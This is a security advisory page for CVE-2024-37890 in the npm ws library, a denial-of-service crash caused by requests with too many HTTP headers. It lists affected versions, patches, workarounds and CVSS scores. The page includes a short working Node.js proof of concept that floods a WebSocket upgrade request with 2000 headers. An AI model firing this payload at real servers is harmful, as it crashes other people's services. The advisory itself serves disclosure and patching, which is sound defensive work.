GHSA-3h5v-q93c-6h6q CVE-2024-37890
ws affected by a DoS when handling a request with many HTTP headers
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 1.36%
- Chance of exploitation in the next 30 days. Higher than 71.67% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-476 NULL Pointer Dereference
- Fix
5.2.4- Upgrade ws to this version or later
Description
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| ws | >= 2.1.0, < 5.2.4 |
5.2.4 |
| ws | >= 6.0.0, < 6.2.3 |
6.2.3 |
| ws | >= 7.0.0, < 7.5.10 |
7.5.10 |
| ws | >= 8.0.0, < 8.17.1 |
8.17.1 |
| ws | >= 2.1.0, < 5.2.4 |
5.2.4 |
| ws | >= 6.0.0, < 6.2.3 |
6.2.3 |
| ws | >= 7.0.0, < 7.5.10 |
7.5.10 |
| ws | >= 8.0.0, < 8.17.1 |
8.17.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
ws npm → 5.2.4
- npm
npm install ws@5.2.4- yarn
yarn add ws@5.2.4- pnpm
pnpm add ws@5.2.4
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-476: NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.
How to prevent it
- Implementation: For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
- Requirements: Select a programming language that is not susceptible to these issues.
- Implementation: Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
- Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
- Implementation: Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.
References
Advisories
Fixes and patches
- github.com/websockets/ws/pull/2231
- github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f
- github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e
- github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c
- github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-96hv-2xvq-fx4p ws: Memory exhaustion DoS from tiny fragments and data chunks | High | Also affects ws |
| GHSA-58qx-3vcg-4xpx ws: Uninitialized memory disclosure | High | Also affects ws |
| GHSA-6fc8-4gx4-v693 ReDoS in Sec-Websocket-Protocol header | Medium | Also affects ws |
| GHSA-5v72-xg48-5rpm Denial of Service in ws | High | Also affects ws |
| GHSA-6663-c963-2gqg DoS due to excessively large websocket message in ws | High | Also affects ws |
| GHSA-2mhh-w6q8-5hxw Remote Memory Disclosure in ws | Low | Also affects ws |
| GHSA-525v-9gp9-w22h Forge: TLS client crash when the server sends no certificate | Medium | Same weakness, CWE-476 |
| GHSA-8hrf-8g6f-7xwp Forge: Denial of service in TLS record processing via a record interleaved with a fragmented handshake message | High | Same weakness, CWE-476 |
Credits: rrlapointe
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor